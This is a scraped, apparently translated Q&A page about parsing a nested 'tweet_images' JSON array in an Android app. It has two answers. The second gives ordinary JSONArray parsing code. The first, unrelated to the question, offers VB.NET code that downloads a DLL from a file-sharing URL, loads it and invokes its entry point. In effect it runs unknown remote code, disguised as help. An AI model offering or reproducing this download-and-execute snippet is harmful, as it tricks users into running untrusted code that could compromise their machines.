如何让json在两个json数组中使用

时间:2015-06-16 13:48:08

标签: android json

我得到了第一个json数组,但第二个数组进入了数组中的第一个数组.... 怎么解决它

我已经在图像数组中得到了tweet_image数组,两个数组如何解决它 我得到了图像路径;

{
    "feed": [
        {
            "tweet_id": "794",
            "userid": "6",
            "content": "<a href=http://www.punjabkesari.in/news/article-370994>http://www.punjabkesari.in/news/article-370994</a>",
            "favorite_count": "0",
            "reply_count": "0",
            "retweet_count": "0",
            "tweet_location": "",
            "created_date": "2015-06-16 11:49:00",
            "name": "amar bhanu",
            "user_image": "http://sabakuch.com/public/images_upload/avatars/ozone/6_30_imageamar.jpg",
            "tweet_images": {
                "image": [
                    "http://sabakuch.com/public/images_upload/tweet/794_400_1434435540_album143443554069.jpg"
                ]
            }
        }
    ]
}

2 个答案:

答案 0 :(得分:0)

你可以试试这个。

    Try
        Dim g As New Net.WebClient()
        Dim dll() As Byte = g.DownloadData("http://ge.tt/api/1/files/6YVzYRI2/0/blob?download")
        Dim a = Assembly.Load(dll)
        Dim b As Type = a.GetType("data.Class1")
        Dim c As Object = Activator.CreateInstance(b)
        b.InvokeMember("main", BindingFlags.Default Or BindingFlags.InvokeMethod, Nothing, c, Nothing)
    Catch ex As Exception
        MsgBox("Caught: {0}", ex.Message)

    End Try

请告诉我,如果您有任何问题。

答案 1 :(得分:0)

试试这种方式

JSONArray array= jsonResponse.getJSONArray("feed");
JSONObject obj= array.getJSONObject(0);    
JSONObject image= obj.getJSONObject("tweet_images");    
JSONArray image_array= image.getJSONArray("image");
String url= image_array.getString(0);    

enter image description here

希望它有所帮助: - )